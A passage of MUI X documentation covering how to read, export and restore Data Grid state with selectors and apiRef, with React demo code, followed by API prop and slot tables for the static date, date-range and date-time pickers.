import { useDemoData } from '@mui/x-data-grid-generator';

export default function InitialState() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 10,
  });

  return (
    <div style={{ height: 300, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          filter: {
            filterModel: {
              items: [{ field: 'quantity', operator: '>', value: 10000 }],
            },
          },
          sorting: {
            sortModel: [{ field: 'desk', sort: 'asc' }],
          },
        }}
      />
    </div>
  );
}

```

## Access the state

The state is exposed on the `apiRef` object.

:::warning
Do not access state values directly.
The state itself is not considered a public API and its structure can change.
:::

Data Grid packages expose a set of state selectors that take the `apiRef` as an argument and return a value.
You can use them to get data from the state without worrying about its internal structure.

### Direct selector access

The way to use a selector is to call it as a function with `apiRef` as its first argument:

```tsx
const paginationModel = gridPaginationModelSelector(apiRef);
```

:::warning
To make the developer experience better, selectors are typed to let `apiRef` reference a `null` value, but they throw an error if called before the state is initialized. Use selectors after the initialization in a `useEffect()` hook or in an event handler.
:::

```tsx
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import {
  DataGrid,
  useGridApiRef,
  gridPaginatedVisibleSortedGridRowIdsSelector,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function DirectSelector() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 10,
  });

  const apiRef = useGridApiRef();

  const handleSelectFirstVisibleRow = () => {
    const visibleRows = gridPaginatedVisibleSortedGridRowIdsSelector(apiRef);
    if (visibleRows.length === 0) {
      return;
    }

    apiRef.current?.selectRow(
      visibleRows[0],
      !apiRef.current.isRowSelected(visibleRows[0]),
    );
  };

  return (
    <Box sx={{ width: '100%' }}>
      <Button size="small" onClick={handleSelectFirstVisibleRow}>
        Toggle the selection of the 1st row of the page
      </Button>
      <Box sx={{ height: 400, mt: 1 }}>
        <DataGrid
          {...data}
          loading={loading}
          apiRef={apiRef}
          pageSizeOptions={[10]}
          initialState={{
            ...data.initialState,
            pagination: {
              paginationModel: {
                pageSize: 10,
              },
            },
          }}
        />
      </Box>
    </Box>
  );
}

```

### With useGridSelector

If you only need to access the state value in the render of your components, use the `useGridSelector()` hook.
This hook ensures there is a reactive binding such that when the state changes, the component in which this hook is used is re-rendered.

```tsx
const paginationModel = useGridSelector(apiRef, gridPaginationModelSelector);
```

:::warning
This hook can only be used inside the context of the Data Grid, such as within custom components.
Otherwise, you will get an error saying that the state is not initialized during the first render.
:::

```tsx
import * as React from 'react';
import {
  DataGrid,
  gridPageSelector,
  gridPageCountSelector,
  useGridApiContext,
  useGridSelector,
} from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';
import Pagination from '@mui/material/Pagination';

function Toolbar() {
  const apiRef = useGridApiContext();
  const page = useGridSelector(apiRef, gridPageSelector);
  const pageCount = useGridSelector(apiRef, gridPageCountSelector);

  return (
    <Pagination
      sx={(theme) => ({ padding: theme.spacing(1.5, 0) })}
      color="primary"
      count={pageCount}
      page={page + 1}
      onChange={(event, value) => apiRef.current.setPage(value - 1)}
    />
  );
}

export default function UseGridSelector() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 10,
  });

  const [paginationModel, setPaginationModel] = React.useState({
    pageSize: 10,
    page: 0,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        {...data}
        loading={loading}
        paginationModel={paginationModel}
        onPaginationModelChange={setPaginationModel}
        hideFooter
        slots={{
          toolbar: Toolbar,
        }}
        showToolbar
      />
    </div>
  );
}

```

### Catalog of selectors

Some selectors have not yet been documented.



## Save and restore the state

The current state of the Data Grid can be exported using `apiRef.current.exportState()`.
It can then be restored by either passing the returned value to the `initialState` prop or to the `apiRef.current.restoreState()` method.

Watch out for controlled models and their callbacks (`onFilterModelChange` if you use `filterModel`, for instance), as the Data Grid calls those callbacks when restoring the state.
But if the callback is not defined or if calling it does not update the prop value, then the restored value will not be applied.

### Restore the state with initialState

You can pass the state returned by `apiRef.current.exportState()` to the `initialState` prop.

In the demo below, clicking on **Recreate the 2nd grid** will re-mount the second Data Grid with the current state of the first Grid.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import {
  DataGridPro,
  GridInitialState,
  GridSlotProps,
  GridToolbarContainer,
  GridToolbarDensitySelector,
  GridToolbarFilterButton,
  useGridApiContext,
  useGridRootProps,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

declare module '@mui/x-data-grid' {
  interface ToolbarPropsOverrides {
    syncState: (stateToSave: GridInitialState) => void;
  }
}

function GridCustomToolbar({ syncState }: GridSlotProps['toolbar']) {
  const rootProps = useGridRootProps();
  const apiRef = useGridApiContext();

  return (
    <GridToolbarContainer>
      <GridToolbarFilterButton />
      <GridToolbarDensitySelector />
      <Button
        size="small"
        startIcon={<rootProps.slots.columnSelectorIcon />}
        onClick={() => syncState(apiRef.current.exportState())}
        {...rootProps.slotProps?.baseButton}
      >
        Recreate the 2nd grid
      </Button>
    </GridToolbarContainer>
  );
}

export default function RestoreStateInitialState() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  const [savedState, setSavedState] = React.useState<{
    count: number;
    initialState: GridInitialState;
  }>({ count: 0, initialState: data.initialState! });

  const syncState = React.useCallback((newInitialState: GridInitialState) => {
    setSavedState((prev) => ({
      count: prev.count + 1,
      initialState: newInitialState,
    }));
  }, []);

  return (
    <Stack spacing={2} sx={{ width: '100%' }}>
      <Box sx={{ height: 336 }}>
        <DataGridPro
          {...data}
          loading={loading}
          slots={{ toolbar: GridCustomToolbar }}
          slotProps={{ toolbar: { syncState } }}
          showToolbar
        />
      </Box>
      <Box sx={{ height: 300 }}>
        <DataGridPro
          {...data}
          loading={loading}
          initialState={savedState.initialState}
          key={savedState.count}
        />
      </Box>
    </Stack>
  );
}

```

:::warning
If you restore the page using `initialState` before the data is fetched, the Data Grid will automatically move to the first page.
:::

### Save and restore the state from external storage

You can use `apiRef.current.exportState()` to save a snapshot of the state to an external storage (for example using local storage or redux).
This way the state can be persisted on refresh or navigating to another page.

In the following demo, the state is saved to `localStorage` and restored when the page is refreshed.
This is done by listening on the `beforeunload` event.
When the component is unmounted, the `useLayoutEffect` cleanup function is being used instead.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import CircularProgress from '@mui/material/CircularProgress';
import { useDemoData } from '@mui/x-data-grid-generator';
import {
  GridInitialState,
  DataGridPremium,
  useGridApiRef,
} from '@mui/x-data-grid-premium';

export default function SaveAndRestoreStateInitialState() {
  const apiRef = useGridApiRef();
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 10,
  });

  const [initialState, setInitialState] = React.useState<GridInitialState>();

  const saveSnapshot = React.useCallback(() => {
    if (apiRef?.current?.exportState && localStorage) {
      const currentState = apiRef.current.exportState();
      localStorage.setItem('dataGridState', JSON.stringify(currentState));
    }
  }, [apiRef]);

  React.useLayoutEffect(() => {
    const stateFromLocalStorage = localStorage?.getItem('dataGridState');
    setInitialState(stateFromLocalStorage ? JSON.parse(stateFromLocalStorage) : {});

    // handle refresh and navigating away/refreshing
    window.addEventListener('beforeunload', saveSnapshot);

    return () => {
      // in case of an SPA remove the event-listener
      window.removeEventListener('beforeunload', saveSnapshot);
      saveSnapshot();
    };
  }, [saveSnapshot]);

  if (!initialState) {
    return <CircularProgress />;
  }

  return (
    <Box sx={{ height: 300, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        loading={loading}
        initialState={{
          ...data.initialState,
          ...initialState,
        }}
      />
    </Box>
  );
}

```

### Restore the state with apiRef

You can pass the state returned by `apiRef.current.exportState()` to the `apiRef.current.restoreState` method.
In the demo below, clicking on **Save current view** will create a snapshot of the changes made in the state, considering the initial state.
You can apply these changes on the Data Grid later selecting a saved view in the **Custom view** menu.

```tsx
import * as React from 'react';
import {
  DataGridPro,
  GridInitialState,
  useGridApiContext,
  useGridApiRef,
  GridToolbarContainer,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';
import ClickAwayListener from '@mui/material/ClickAwayListener';
import MenuList from '@mui/material/MenuList';
import MenuItem from '@mui/material/MenuItem';
import Button from '@mui/material/Button';
import IconButton from '@mui/material/IconButton';
import TextField from '@mui/material/TextField';
import Box from '@mui/material/Box';
import Paper from '@mui/material/Paper';
import AddIcon from '@mui/icons-material/Add';
import DeleteIcon from '@mui/icons-material/Delete';
import Fade from '@mui/material/Fade';
import Popper from '@mui/material/Popper';
import Dialog from '@mui/material/Dialog';
import DialogTitle from '@mui/material/DialogTitle';
import DialogContent from '@mui/material/DialogContent';
import DialogActions from '@mui/material/DialogActions';

interface StateView {
  label: string;
  value: GridInitialState;
}

interface DemoState {
  views: { [id: string]: StateView };
  newViewLabel: string;
  activeViewId: string | null;
  isMenuOpened: boolean;
  menuAnchorEl: HTMLElement | null;
}

type DemoActions =
  | { type: 'createView'; value: GridInitialState }
  | { type: 'deleteView'; id: string }
  | { type: 'setNewViewLabel'; label: string }
  | { type: 'setActiveView'; id: string | null }
  | { type: 'togglePopper'; element: HTMLElement }
  | { type: 'closePopper' };

const demoReducer: React.Reducer<DemoState, DemoActions> = (state, action) => {
  switch (action.type) {
    case 'createView': {
      const id = Math.random().toString();

      return {
        ...state,
        activeViewId: id,
        newViewLabel: '',
        views: {
          ...state.views,
          [id]: { label: state.newViewLabel, value: action.value },
        },
      };
    }

    case 'deleteView': {
      const views = Object.fromEntries(
        Object.entries(state.views).filter(([id]) => id !== action.id),
      );

      let activeViewId: string | null;
      if (state.activeViewId !== action.id) {
        activeViewId = state.activeViewId;
      } else {
        const viewIds = Object.keys(state.views);

        if (viewIds.length === 0) {
          activeViewId = null;
        } else {
          activeViewId = viewIds[0];
        }
      }

      return {
        ...state,
        views,
        activeViewId,
      };
    }

    case 'setActiveView': {
      return {
        ...state,
        activeViewId: action.id,
        isMenuOpened: false,
      };
    }

    case 'setNewViewLabel': {
      return {
        ...state,
        newViewLabel: action.label,
      };
    }

    case 'togglePopper': {
      return {
        ...state,
        isMenuOpened: !state.isMenuOpened,
        menuAnchorEl: action.element,
      };
    }

    case 'closePopper': {
      return {
        ...state,
        isMenuOpened: false,
      };
    }

    default: {
      return state;
    }
  }
};

const DEMO_INITIAL_STATE: DemoState = {
  views: {},
  newViewLabel: '',
  isMenuOpened: false,
  menuAnchorEl: null,
  activeViewId: null,
};

function ViewListItem(props: {
  view: StateView;
  viewId: string;
  selected: boolean;
  onDelete: (viewId: string) => void;
  onSelect: (viewId: string) => void;
}) {
  const { view, viewId, selected, onDelete, onSelect, ...other } = props;

  return (
    <MenuItem selected={selected} onClick={() => onSelect(viewId)} {...other}>
      {view.label}
      <IconButton
        edge="end"
        aria-label="delete"
        size="small"
        onClick={(event) => {
          event.stopPropagation();
          onDelete(viewId);
        }}
      >
        <DeleteIcon />
      </IconButton>
    </MenuItem>
  );
}

function NewViewListButton(props: {
  label: string;
  onLabelChange: (
    event: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>,
  ) => void;
  onSubmit: () => void;
  isValid: boolean;
}) {
  const { label, onLabelChange, onSubmit, isValid } = props;
  const [isAddingView, setIsAddingView] = React.useState(false);

  const handleSubmitForm: React.FormEventHandler = (event) => {
    onSubmit();
    setIsAddingView(false);
    event.preventDefault();
  };

  return (
    <React.Fragment>
      <Button
        endIcon={<AddIcon />}
        size="small"
        onClick={() => setIsAddingView(true)}
      >
        Save current view
      </Button>
      <Dialog onClose={() => setIsAddingView(false)} open={isAddingView}>
        <form onSubmit={handleSubmitForm}>
          <DialogTitle>New custom view</DialogTitle>
          <DialogContent>
            <TextField
              autoFocus
              value={label}
              onChange={onLabelChange}
              margin="dense"
              size="small"
              label="Custom view label"
              variant="standard"
              fullWidth
            />
          </DialogContent>
          <DialogActions>
            <Button type="button" onClick={() => setIsAddingView(false)}>
              Cancel
            </Button>
            <Button type="submit" disabled={!isValid}>
              Create view
            </Button>
          </DialogActions>
        </form>
      </Dialog>
    </React.Fragment>
  );
}

function CustomToolbar() {
  const apiRef = useGridApiContext();
  const [state, dispatch] = React.useReducer(demoReducer, DEMO_INITIAL_STATE);

  const createNewView = () => {
    dispatch({
      type: 'createView',
      value: apiRef.current.exportState(),
    });
  };

  const handleNewViewLabelChange = (
    event: React.ChangeEvent<HTMLInputElement | HTMLTextAreaElement>,
  ) => {
    dispatch({ type: 'setNewViewLabel', label: event.target.value });
  };

  const handleDeleteView = React.useCallback((viewId: string) => {
    dispatch({ type: 'deleteView', id: viewId });
  }, []);

  const handleSetActiveView = (viewId: string) => {
    apiRef.current.restoreState(state.views[viewId].value);
    dispatch({ type: 'setActiveView', id: viewId });
  };

  const handlePopperAnchorClick = (event: React.MouseEvent) => {
    dispatch({ type: 'togglePopper', element: event.currentTarget as HTMLElement });
    event.stopPropagation();
  };

  const handleClosePopper = () => {
    dispatch({ type: 'closePopper' });
  };

  const isNewViewLabelValid = React.useMemo(() => {
    if (state.newViewLabel.length === 0) {
      return false;
    }

    return Object.values(state.views).every(
      (view) => view.label !== state.newViewLabel,
    );
  }, [state.views, state.newViewLabel]);

  const canBeMenuOpened = state.isMenuOpened && Boolean(state.menuAnchorEl);
  const popperId = canBeMenuOpened ? 'transition-popper' : undefined;

  const handleListKeyDown = (event: React.KeyboardEvent) => {
    if (event.key === 'Tab') {
      event.preventDefault();
      dispatch({ type: 'closePopper' });
    } else if (event.key === 'Escape') {
      dispatch({ type: 'closePopper' });
    }
  };

  return (
    <GridToolbarContainer>
      <Button
        aria-describedby={popperId}
        type="button"
        size="small"
        id="custom-view-button"
        aria-controls={state.isMenuOpened ? 'custom-view-menu' : undefined}
        aria-expanded={state.isMenuOpened ? 'true' : undefined}
        aria-haspopup="true"
        onClick={handlePopperAnchorClick}
      >
        Custom view ({Object.keys(state.views).length})
      </Button>
      <ClickAwayListener onClickAway={handleClosePopper}>
        <Popper
          id={popperId}
          open={state.isMenuOpened}
          anchorEl={state.menuAnchorEl}
          role={undefined}
          transition
          placement="bottom-start"
          sx={{ zIndex: 'modal' }}
        >
          {({ TransitionProps }) => (
            <Fade {...TransitionProps} timeout={350}>
              <Paper>
                <MenuList
                  autoFocusItem={state.isMenuOpened}
                  id="custom-view-menu"
                  aria-labelledby="custom-view-button"
                  onKeyDown={handleListKeyDown}
                >
                  {Object.entries(state.views).map(([viewId, view]) => (
                    <ViewListItem
                      key={viewId}
                      view={view}
                      viewId={viewId}
                      selected={viewId === state.activeViewId}
                      onDelete={handleDeleteView}
                      onSelect={handleSetActiveView}
                    />
                  ))}
                </MenuList>
              </Paper>
            </Fade>
          )}
        </Popper>
      </ClickAwayListener>
      <NewViewListButton
        label={state.newViewLabel}
        onLabelChange={handleNewViewLabelChange}
        onSubmit={createNewView}
        isValid={isNewViewLabelValid}
      />
    </GridToolbarContainer>
  );
}

export default function RestoreStateApiRef() {
  const apiRef = useGridApiRef();
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 500,
  });

  return (
    <Box sx={{ width: '100%', height: 400 }}>
      <DataGridPro
        slots={{ toolbar: CustomToolbar }}
        showToolbar
        loading={loading}
        apiRef={apiRef}
        pagination
        {...data}
      />
    </Box>
  );
}

```

#### Restore part of the state

It is possible to restore specific properties of the state using the `apiRef.current.restoreState()` method.
For instance, to only restore the pinned columns:

```ts
apiRef.current.restoreState({
  pinnedColumns: ['brand'],
});
```

:::warning
Most of the state keys are not fully independent.

Restoring pagination without restoring filters or sorting will work, but the rows displayed after the re-import will not be the same as before the export.
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/date-pickers/static-date-picker.md

# StaticDatePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Picker](/x/react-date-pickers/date-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { StaticDatePicker } from '@mui/x-date-pickers/StaticDatePicker';
// or
import { StaticDatePicker } from '@mui/x-date-pickers';
// or
import { StaticDatePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | - | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| displayStaticWrapperAs | `'desktop' \| 'mobile'` | `"mobile"` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| monthsPerRow | `3 \| 4` | `3` | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose (deprecated) | `func` | - | No | ⚠️ Please avoid using as it will be removed in next major version. |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| onYearChange | `function(year: PickerValidDate) => void` | - | No |  |
| openTo | `'day' \| 'month' \| 'year'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => <span>...</span>` | No |  |
| shouldDisableDate | `function(day: PickerValidDate) => boolean` | - | No |  |
| shouldDisableMonth | `function(month: PickerValidDate) => boolean` | - | No |  |
| shouldDisableYear | `function(year: PickerValidDate) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'day' \| 'month' \| 'year'` | - | No |  |
| viewRenderers | `{ day?: func, month?: func, year?: func }` | - | No |  |
| views | `Array<'day' \| 'month' \| 'year'>` | - | No |  |
| yearsOrder | `'asc' \| 'desc'` | `'asc'` | No |  |
| yearsPerRow | `3 \| 4` | ``4` when `displayStaticWrapperAs === 'desktop'`, `3` otherwise.` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| day | `PickersDay` | - | Custom component for day.
Check the [PickersDay](https://mui.com/x/api/date-pickers/pickers-day/) component. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| monthButton | `MonthCalendarButton` | - | Button displayed to render a single month in the `month` view. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| toolbar | `DatePickerToolbar` | - | Custom component for the toolbar rendered above the views. |
| yearButton | `YearCalendarButton` | - | Button displayed to render a single year in the `year` view. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers/src/StaticDatePicker/StaticDatePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers/src/StaticDatePicker/StaticDatePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/static-date-range-picker.md

# StaticDateRangePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Date Range Picker
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro/StaticDateRangePicker';
// or
import { StaticDateRangePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| autoFocus | `bool` | - | No |  |
| calendars | `1 \| 2 \| 3` | `1 if `displayStaticWrapperAs === 'mobile'`, 2 otherwise.` | No |  |
| currentMonthCalendarPosition | `1 \| 2 \| 3` | `1` | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultRangePosition | `'end' \| 'start'` | `'start'` | No |  |
| defaultValue | `Array<object>` | - | No |  |
| disableAutoMonthSwitching | `bool` | `false` | No |  |
| disabled | `bool` | `false` | No |  |
| disableDragEditing | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| displayStaticWrapperAs | `'desktop' \| 'mobile'` | `"mobile"` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose (deprecated) | `func` | - | No | ⚠️ Please avoid using as it will be removed in next major version. |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onRangePositionChange | `function(rangePosition: RangePosition) => void` | - | No |  |
| rangePosition | `'end' \| 'start'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `Array<object> \| object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => "..."` | No |  |
| shouldDisableDate | `function(day: PickerValidDate, position: string) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `Array<object>` | - | No |  |
| viewRenderers | `{ day?: func }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
Check the [PickersCalendarHeader](https://mui.com/x/api/date-pickers/pickers-calendar-header/) component. |
| day | `DateRangePickersDay` | - | Custom component for day in range pickers.
Check the [DateRangePickersDay](https://mui.com/x/api/date-pickers/date-range-picker-day/) component. |
| layout | `undefined` | - | Custom component for wrapping the layout.
It wraps the toolbar, views, action bar, and shortcuts. |
| leftArrowIcon | `ArrowLeft` | - | Icon displayed in the left view switch button. |
| nextIconButton | `IconButton` | - | Button allowing to switch to the right view. |
| previousIconButton | `IconButton` | - | Button allowing to switch to the left view. |
| rightArrowIcon | `ArrowRight` | - | Icon displayed in the right view switch button. |
| shortcuts | `PickersShortcuts` | - | Custom component for the shortcuts. |
| switchViewButton | `IconButton` | - | Button displayed to switch between different calendar views. |
| switchViewIcon | `ArrowDropDown` | - | Icon displayed in the SwitchViewButton. Rotated by 180° when the open view is `year`. |
| toolbar | `DateTimePickerToolbar` | - | Custom component for the toolbar rendered above the views. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-date-pickers-pro/src/StaticDateRangePicker/StaticDateRangePicker.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-date-pickers-pro/src/StaticDateRangePicker/StaticDateRangePicker.tsx)

---

# Source: https://mui.com/x/api/date-pickers/static-date-time-picker.md

# StaticDateTimePicker API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Date Time Picker](/x/react-date-pickers/date-time-picker/)
- [Date and Time Pickers - Validation](/x/react-date-pickers/validation/)

## Import

```jsx
import { StaticDateTimePicker } from '@mui/x-date-pickers/StaticDateTimePicker';
// or
import { StaticDateTimePicker } from '@mui/x-date-pickers';
// or
import { StaticDateTimePicker } from '@mui/x-date-pickers-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| ampm | `bool` | `adapter.is12HourCycleInCurrentLocale()` | No |  |
| ampmInClock | `bool` | `true on desktop, false on mobile` | No |  |
| autoFocus | `bool` | - | No |  |
| dayOfWeekFormatter | `function(date: PickerValidDate) => string` | `(date: PickerValidDate) => adapter.format(date, 'weekdayShort').charAt(0).toUpperCase()` | No |  |
| defaultValue | `object` | - | No |  |
| disabled | `bool` | `false` | No |  |
| disableFuture | `bool` | `false` | No |  |
| disableHighlightToday | `bool` | `false` | No |  |
| disableIgnoringDatePartForTimeValidation | `bool` | `false` | No |  |
| disablePast | `bool` | `false` | No |  |
| displayStaticWrapperAs | `'desktop' \| 'mobile'` | `"mobile"` | No |  |
| displayWeekNumber | `bool` | - | No |  |
| fixedWeekNumber | `number` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| maxDate | `object` | `2099-12-31` | No |  |
| maxDateTime | `object` | - | No |  |
| maxTime | `object` | - | No |  |
| minDate | `object` | `1900-01-01` | No |  |
| minDateTime | `object` | - | No |  |
| minTime | `object` | - | No |  |
| minutesStep | `number` | `1` | No |  |
| monthsPerRow | `3 \| 4` | `3` | No |  |
| onAccept | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onChange | `function(value: TValue, context: FieldChangeHandlerContext<TError>) => void` | - | No |  |
| onClose (deprecated) | `func` | - | No | ⚠️ Please avoid using as it will be removed in next major version. |
| onError | `function(error: TError, value: TValue) => void` | - | No |  |
| onMonthChange | `function(month: PickerValidDate) => void` | - | No |  |
| onViewChange | `function(view: TView) => void` | - | No |  |
| onYearChange | `function(year: PickerValidDate) => void` | - | No |  |
| openTo | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'year'` | - | No |  |
| orientation | `'landscape' \| 'portrait'` | - | No |  |
| readOnly | `bool` | `false` | No |  |
| reduceAnimations | `bool` | ``@media(prefers-reduced-motion: reduce)` || `navigator.userAgent` matches Android <10 or iOS <13` | No |  |
| referenceDate | `object` | `The closest valid date-time using the validation props, except callbacks like `shouldDisable<...>`.` | No |  |
| renderLoading | `function() => React.ReactNode` | `() => <span>...</span>` | No |  |
| shouldDisableDate | `function(day: PickerValidDate) => boolean` | - | No |  |
| shouldDisableMonth | `function(month: PickerValidDate) => boolean` | - | No |  |
| shouldDisableTime | `function(value: PickerValidDate, view: TimeView) => boolean` | - | No |  |
| shouldDisableYear | `function(year: PickerValidDate) => boolean` | - | No |  |
| showDaysOutsideCurrentMonth | `bool` | `false` | No |  |
| skipDisabled | `bool` | `false` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| thresholdToRenderTimeInASingleColumn | `number` | `24` | No |  |
| timeSteps | `{ hours?: number, minutes?: number, seconds?: number }` | `{ hours: 1, minutes: 5, seconds: 5 }` | No |  |
| timezone | `string` | `The timezone of the `value` or `defaultValue` prop is defined, 'default' otherwise.` | No |  |
| value | `object` | - | No |  |
| view | `'day' \| 'hours' \| 'meridiem' \| 'minutes' \| 'month' \| 'seconds' \| 'year'` | - | No |  |
| viewRenderers | `{ day?: func, hours?: func, meridiem?: func, minutes?: func, month?: func, seconds?: func, year?: func }` | - | No |  |
| views | `Array<'day' \| 'hours' \| 'minutes' \| 'month' \| 'seconds' \| 'year'>` | - | No |  |
| yearsOrder | `'asc' \| 'desc'` | `'asc'` | No |  |
| yearsPerRow | `3 \| 4` | ``4` when `displayStaticWrapperAs === 'desktop'`, `3` otherwise.` | No |  |

> **Note**: The `ref` is forwarded to the root element (HTMLDivElement).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| actionBar | `PickersActionBar` | - | Custom component for the action bar, it is placed below the Picker views. |
| calendarHeader | `PickersCalendarHeader` | - | Custom component for calendar header.
